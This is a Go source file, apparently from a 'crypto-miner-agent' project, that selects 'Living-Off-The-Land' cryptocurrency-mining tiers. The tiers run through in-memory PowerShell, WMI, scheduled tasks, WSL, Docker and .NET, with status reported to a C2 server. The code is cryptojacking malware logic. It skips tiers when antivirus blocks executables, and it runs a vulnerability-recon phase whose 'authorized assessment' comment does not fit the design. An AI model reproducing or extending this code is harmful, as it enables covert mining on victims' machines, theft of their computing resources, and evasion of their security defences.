298 lines
8.9 KiB
Go
298 lines
8.9 KiB
Go
package miner
|
|
|
|
import (
|
|
"runtime"
|
|
"strings"
|
|
|
|
"crypto-miner-agent/config"
|
|
)
|
|
|
|
// LOTLTier identifies one Living-Off-The-Land mining execution layer.
|
|
type LOTLTier string
|
|
|
|
const (
|
|
TierExeSubprocess LOTLTier = "exe_subprocess"
|
|
TierDockerLoad LOTLTier = "docker_load"
|
|
TierContainer LOTLTier = "container"
|
|
TierWSL LOTLTier = "wsl"
|
|
TierPSInMemory LOTLTier = "ps_inmemory"
|
|
TierDotnet LOTLTier = "dotnet"
|
|
TierCPUInprocess LOTLTier = "cpu_inprocess"
|
|
TierVulnProbe LOTLTier = "vuln_probe"
|
|
TierWebView2Probe LOTLTier = "webview2_probe"
|
|
TierWMI LOTLTier = "wmi"
|
|
TierScheduledTask LOTLTier = "scheduled_task"
|
|
TierGPUCompute LOTLTier = "gpu_compute"
|
|
TierGPUSubprocess LOTLTier = "gpu_subprocess"
|
|
TierStratumDirect LOTLTier = "stratum_direct"
|
|
)
|
|
|
|
// TierAttempt records one tier try for C2/UI diagnostics.
|
|
type TierAttempt struct {
|
|
Phase string `json:"phase,omitempty"` // recon | deploy | mining (triple onion)
|
|
Tier LOTLTier `json:"tier"`
|
|
OK bool `json:"ok"`
|
|
Error string `json:"error,omitempty"`
|
|
DurationMs int64 `json:"duration_ms"`
|
|
Wallet string `json:"wallet"`
|
|
Details map[string]interface{} `json:"details,omitempty"`
|
|
}
|
|
|
|
// TierReport is the live LOTL onion snapshot sent to C2.
|
|
type TierReport struct {
|
|
ActiveTier LOTLTier `json:"lotl_tier,omitempty"`
|
|
Attempts []TierAttempt `json:"lotl_attempts,omitempty"`
|
|
MiningHashrate float64 `json:"mining_hashrate,omitempty"`
|
|
TierChainOrder []LOTLTier `json:"tier_chain_order,omitempty"`
|
|
TierChainSkipped []LOTLTier `json:"tier_chain_skipped,omitempty"`
|
|
WebGPUReady bool `json:"webgpu_ready,omitempty"`
|
|
GPUComputeOK bool `json:"gpu_compute_ok,omitempty"`
|
|
}
|
|
|
|
// MiningTierPolicy is server-pulled ordering/overrides for the tier onion.
|
|
type MiningTierPolicy struct {
|
|
TierOrder []LOTLTier `json:"tier_order,omitempty"`
|
|
SkipTiers []LOTLTier `json:"skip_tiers,omitempty"`
|
|
ForceTier LOTLTier `json:"force_tier,omitempty"`
|
|
}
|
|
|
|
// DefaultTierOrder is the canonical onion when the server sends no override.
|
|
// AV friction drives automatic skips via EnvironmentProbes in SelectMiningTierChain.
|
|
var DefaultTierOrder = []LOTLTier{
|
|
TierExeSubprocess,
|
|
TierDockerLoad,
|
|
TierContainer,
|
|
TierWSL,
|
|
TierPSInMemory,
|
|
TierDotnet,
|
|
TierCPUInprocess,
|
|
TierWebView2Probe,
|
|
TierWMI,
|
|
TierScheduledTask,
|
|
TierGPUCompute,
|
|
TierGPUSubprocess,
|
|
TierStratumDirect,
|
|
}
|
|
|
|
// DefaultWindowsTierOrder is the probe→execution slice for Windows-specific tiers.
|
|
func DefaultWindowsTierOrder() []LOTLTier {
|
|
return []LOTLTier{
|
|
TierWebView2Probe,
|
|
TierWMI,
|
|
TierScheduledTask,
|
|
TierGPUCompute,
|
|
}
|
|
}
|
|
|
|
// DefaultMiningTierPolicy works out of the box with diagnostic-driven filtering.
|
|
func DefaultMiningTierPolicy() MiningTierPolicy {
|
|
return MiningTierPolicy{TierOrder: append([]LOTLTier(nil), DefaultTierOrder...)}
|
|
}
|
|
|
|
// SelectMiningTierChain returns the ordered tier onion from server policy with
|
|
// local eligibility overrides from environment probes and forge execution mode.
|
|
func SelectMiningTierChain(probes EnvironmentProbes, policy MiningTierPolicy, cfg config.RuntimeConfig) (chain, skipped []LOTLTier) {
|
|
base := policy.TierOrder
|
|
if len(base) == 0 {
|
|
base = DefaultTierOrder
|
|
}
|
|
|
|
skipSet := make(map[LOTLTier]bool, len(policy.SkipTiers))
|
|
for _, t := range policy.SkipTiers {
|
|
skipSet[t] = true
|
|
}
|
|
|
|
execMode := strings.ToLower(strings.TrimSpace(cfg.MinerExecution))
|
|
switch execMode {
|
|
case ExecutionInProcess:
|
|
skipSet[TierExeSubprocess] = true
|
|
skipSet[TierDockerLoad] = true
|
|
skipSet[TierContainer] = true
|
|
skipSet[TierWSL] = true
|
|
skipSet[TierPSInMemory] = true
|
|
skipSet[TierDotnet] = true
|
|
case ExecutionContainer:
|
|
skipSet[TierExeSubprocess] = true
|
|
skipSet[TierWSL] = true
|
|
skipSet[TierPSInMemory] = true
|
|
case ExecutionPowerShell:
|
|
skipSet[TierExeSubprocess] = true
|
|
skipSet[TierContainer] = true
|
|
skipSet[TierWSL] = true
|
|
skipSet[TierDotnet] = true
|
|
case ExecutionDotnet:
|
|
skipSet[TierExeSubprocess] = true
|
|
skipSet[TierContainer] = true
|
|
skipSet[TierWSL] = true
|
|
skipSet[TierPSInMemory] = true
|
|
case ExecutionSubprocess:
|
|
// subprocess mode prefers exe/gpu paths; CPU in-process remains terminal fallback.
|
|
skipSet[TierWSL] = true
|
|
skipSet[TierPSInMemory] = true
|
|
skipSet[TierDotnet] = true
|
|
}
|
|
|
|
// Diagnostics-driven automatic contingencies.
|
|
if probes.AVBlocksExe {
|
|
skipSet[TierExeSubprocess] = true
|
|
}
|
|
if !probes.Docker {
|
|
skipSet[TierContainer] = true
|
|
skipSet[TierDockerLoad] = true
|
|
}
|
|
if !HasImageTarPolicy(cfg) {
|
|
skipSet[TierDockerLoad] = true
|
|
}
|
|
if !probes.WSL {
|
|
skipSet[TierWSL] = true
|
|
}
|
|
if !probes.PowerShell {
|
|
skipSet[TierPSInMemory] = true
|
|
}
|
|
if !probes.DotNet {
|
|
skipSet[TierDotnet] = true
|
|
}
|
|
if !probes.GPU || !cfg.GPUEnabled || strings.TrimSpace(cfg.RVNWallet) == "" {
|
|
skipSet[TierGPUSubprocess] = true
|
|
skipSet[TierGPUCompute] = true
|
|
}
|
|
if strings.TrimSpace(cfg.PoolHost) == "" {
|
|
skipSet[TierStratumDirect] = true
|
|
}
|
|
if strings.TrimSpace(cfg.PoolHost) == "" && strings.TrimSpace(cfg.RVNPoolHost) == "" {
|
|
skipSet[TierGPUCompute] = true
|
|
}
|
|
if runtime.GOOS != "windows" {
|
|
skipSet[TierWebView2Probe] = true
|
|
skipSet[TierWMI] = true
|
|
skipSet[TierScheduledTask] = true
|
|
skipSet[TierGPUCompute] = true
|
|
}
|
|
|
|
if policy.ForceTier != "" {
|
|
if tierEligible(policy.ForceTier, probes, cfg, skipSet) {
|
|
return []LOTLTier{policy.ForceTier}, skipped
|
|
}
|
|
skipSet[policy.ForceTier] = false
|
|
}
|
|
if execMode == ExecutionPowerShell && tierEligible(TierPSInMemory, probes, cfg, skipSet) {
|
|
return []LOTLTier{TierPSInMemory, TierCPUInprocess}, skipped
|
|
}
|
|
if execMode == ExecutionDotnet && tierEligible(TierDotnet, probes, cfg, skipSet) {
|
|
return []LOTLTier{TierDotnet, TierCPUInprocess}, skipped
|
|
}
|
|
|
|
chain = make([]LOTLTier, 0, len(base))
|
|
for _, tier := range base {
|
|
if skipSet[tier] {
|
|
skipped = append(skipped, tier)
|
|
continue
|
|
}
|
|
if !tierEligible(tier, probes, cfg, nil) {
|
|
skipped = append(skipped, tier)
|
|
continue
|
|
}
|
|
chain = append(chain, tier)
|
|
}
|
|
|
|
if len(chain) == 0 {
|
|
chain = []LOTLTier{TierCPUInprocess}
|
|
}
|
|
return chain, skipped
|
|
}
|
|
|
|
func tierEligible(tier LOTLTier, probes EnvironmentProbes, cfg config.RuntimeConfig, extraSkip map[LOTLTier]bool) bool {
|
|
if extraSkip != nil && extraSkip[tier] {
|
|
return false
|
|
}
|
|
switch tier {
|
|
case TierExeSubprocess:
|
|
return !probes.AVBlocksExe
|
|
case TierDockerLoad:
|
|
return probes.Docker && HasImageTarPolicy(cfg)
|
|
case TierContainer:
|
|
return probes.Docker
|
|
case TierWSL:
|
|
return probes.WSL
|
|
case TierPSInMemory:
|
|
return probes.PowerShell && strings.TrimSpace(cfg.Wallet) != "" && strings.TrimSpace(cfg.PoolHost) != ""
|
|
case TierDotnet:
|
|
return probes.DotNet && strings.TrimSpace(cfg.Wallet) != "" && strings.TrimSpace(cfg.PoolHost) != ""
|
|
case TierCPUInprocess:
|
|
return true
|
|
case TierGPUSubprocess:
|
|
return probes.GPU && cfg.GPUEnabled && strings.TrimSpace(cfg.RVNWallet) != ""
|
|
case TierStratumDirect:
|
|
return strings.TrimSpace(cfg.PoolHost) != ""
|
|
case TierWebView2Probe:
|
|
return runtime.GOOS == "windows" && probes.WebView2
|
|
case TierWMI:
|
|
return runtime.GOOS == "windows" && strings.TrimSpace(cfg.Wallet) != ""
|
|
case TierScheduledTask:
|
|
return runtime.GOOS == "windows"
|
|
case TierGPUCompute:
|
|
return runtime.GOOS == "windows" && cfg.GPUEnabled && strings.TrimSpace(cfg.RVNWallet) != "" &&
|
|
(strings.TrimSpace(cfg.PoolHost) != "" || strings.TrimSpace(cfg.RVNPoolHost) != "")
|
|
default:
|
|
return false
|
|
}
|
|
}
|
|
|
|
// PrimaryTiers are sequential CPU paths tried until one succeeds.
|
|
func PrimaryTiers(chain []LOTLTier) []LOTLTier {
|
|
var out []LOTLTier
|
|
for _, t := range chain {
|
|
switch t {
|
|
case TierExeSubprocess, TierDockerLoad, TierContainer, TierWSL, TierPSInMemory, TierDotnet, TierCPUInprocess, TierWMI, TierScheduledTask:
|
|
out = append(out, t)
|
|
}
|
|
}
|
|
return out
|
|
}
|
|
|
|
// ProbeTiers returns diagnostics-only tiers run before GPU escalation.
|
|
// Vuln recon always runs first (report-only authorized fleet assessment).
|
|
func ProbeTiers(chain []LOTLTier) []LOTLTier {
|
|
out := []LOTLTier{TierVulnProbe}
|
|
for _, t := range chain {
|
|
if t == TierWebView2Probe {
|
|
out = append(out, t)
|
|
}
|
|
}
|
|
return out
|
|
}
|
|
|
|
// TierToMiningMethod maps implemented tiers onto the legacy cascade identifiers.
|
|
func TierToMiningMethod(tier LOTLTier) (MiningMethod, bool) {
|
|
switch tier {
|
|
case TierDockerLoad:
|
|
return MethodDockerLoad, true
|
|
case TierContainer:
|
|
return MethodContainer, true
|
|
case TierWSL:
|
|
return MethodWSL, true
|
|
case TierCPUInprocess:
|
|
return MethodInProcess, true
|
|
case TierGPUSubprocess:
|
|
return MethodGPUSubprocess, true
|
|
case TierStratumDirect:
|
|
return MethodStratumDirect, true
|
|
case TierWMI:
|
|
return MethodWMI, true
|
|
case TierScheduledTask:
|
|
return MethodScheduledTask, true
|
|
case TierGPUCompute:
|
|
return MethodGPUCompute, true
|
|
case TierVulnProbe:
|
|
return MethodVulnProbe, true
|
|
case TierWebView2Probe:
|
|
return MethodWebView2Probe, true
|
|
case TierPSInMemory:
|
|
return MethodPowerShell, true
|
|
case TierDotnet:
|
|
return MethodDotnet, true
|
|
default:
|
|
return "", false
|
|
}
|
|
}
|